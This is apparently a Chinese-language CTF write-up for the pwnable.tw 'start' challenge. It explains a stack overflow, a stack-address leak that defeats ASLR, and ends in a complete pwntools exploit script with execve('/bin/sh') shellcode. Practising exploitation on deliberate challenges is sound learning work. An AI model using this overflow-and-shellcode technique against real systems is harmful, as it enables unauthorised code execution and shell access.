notepad

start

漏洞

栈溢出。

思路

这个程序用了两个系统调用,系统调用号分别是04和03,writeread

这个栈的结构比较简单,没有ebpretn对应的是exit,设retn对应栈+4的位置为A,A里面的内容是这个位置的栈地址。

这里需要注意的是,虽然这个程序没有开PIE,但是ASLR是启动了的。也就是堆栈地址随机化。 先用栈溢出到开始代码段构造write的地方,这个时候的esp刚好指向A,于是就可以打印出栈地址。
然后只要把shellcode放到栈上就好了。
第一次打印地址的时候注意不要用sendline,会覆盖掉地址内容。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal','-x','sh','-c']
context(arch = 'i386',os = 'linux')

debug = 1
if debug:
    sh = remote('chall.pwnable.tw',10000)
else:
    sh = process('./start')

mov_ecx_esp = 0x8048087
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
#gdb.attach(sh)
payload = 'A' * 0x14 + p32(mov_ecx_esp)
sh.sendafter(':',payload)

esp_addr = u32(sh.recv(4))
success(hex(esp_addr))

payload = 'A' * 0x14 + p32(esp_addr + 0x14) + shellcode
sh.sendline(payload)

sh.interactive()
sh.close()